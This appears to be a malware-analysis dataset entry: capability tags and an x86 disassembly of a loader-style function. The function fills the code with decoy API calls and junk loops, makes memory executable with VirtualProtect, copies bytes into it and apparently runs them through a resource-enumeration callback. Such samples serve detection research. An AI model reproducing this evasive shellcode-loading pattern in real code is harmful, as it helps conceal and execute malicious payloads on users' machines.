Function at 0x4037f6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Move file
Read file on windows
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x182c
call fcn.0040c510
push ebx
push esi
xor esi, esi
cmp dword [0xd51a20], 0x5b1
push edi
jne 0x4038b4
push esi
lea eax, [ebp - 0x828]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0x402f94
push esi
call fcn.0040422f
push esi
call fcn.004047cd
add esp, 0xc
push esi
push esi
push esi
push esi
call fcn.004044e6
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004034d0
fstp st(0)
push esi
call fcn.00404022
pop ecx
push esi
push esi
call fcn.0040458a
push esi
call fcn.00404154
pop ecx
pop ecx
mov dword [esp], esi
call fcn.00403503
fstp st(0)
push esi
call fcn.00404154
pop ecx
call fcn.0040483b
add dword [0xd51a20], 0x1134b
push dword [0xd51a20]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0xd51a20]
mov dword [0xd50974], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0xd51a20], esi
jbe 0x40393e
cmp dword [0xd51a20], 0xa8
mov eax, dword [0xd51a24]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0xd50974]
mov byte [ecx + edi], al
jne 0x403935
push esi
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1028]
push eax
push 0x402f9c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
inc edi
cmp edi, dword [0xd51a20]
jb 0x4038ed
xor ebx, ebx
mov eax, dword [0xd51a20]
add eax, ebx
cmp eax, 0xe
jne 0x403a31
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0x402fd8
push 0x4030a8
push 0x4030fc
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x428]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0x403138
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
lea eax, [ebp - 0x1028]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push 0x403170
push esi
call dword [sym.imp.USER32.dll_LoadBitmapW]
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x1828]
push eax
push 0x403198
lea eax, [ebp - 0x20]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x403260
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
inc ebx
cmp ebx, 0x39621
jl 0x403940
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp ebx, 0x206d47
jg 0x403a69
inc ebx
cmp ebx, 0x4f6a4
jl 0x403a46
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec ebx
jne 0x403a6e
call fcn.00403715
push esi
call edi
cmp ebx, 0x26
jne 0x403a9a
call fcn.004037dc
inc ebx
cmp ebx, 0x6753f
jl 0x403a8d
push 0x7b
pop edi
cmp dword [0xd51a20], 0x86
jne 0x403aea
push esi
lea eax, [ebp - 0x1828]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push 0x40324c
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0x4032c0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
dec edi
jne 0x403aa6
push 0x403370
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
leave
ret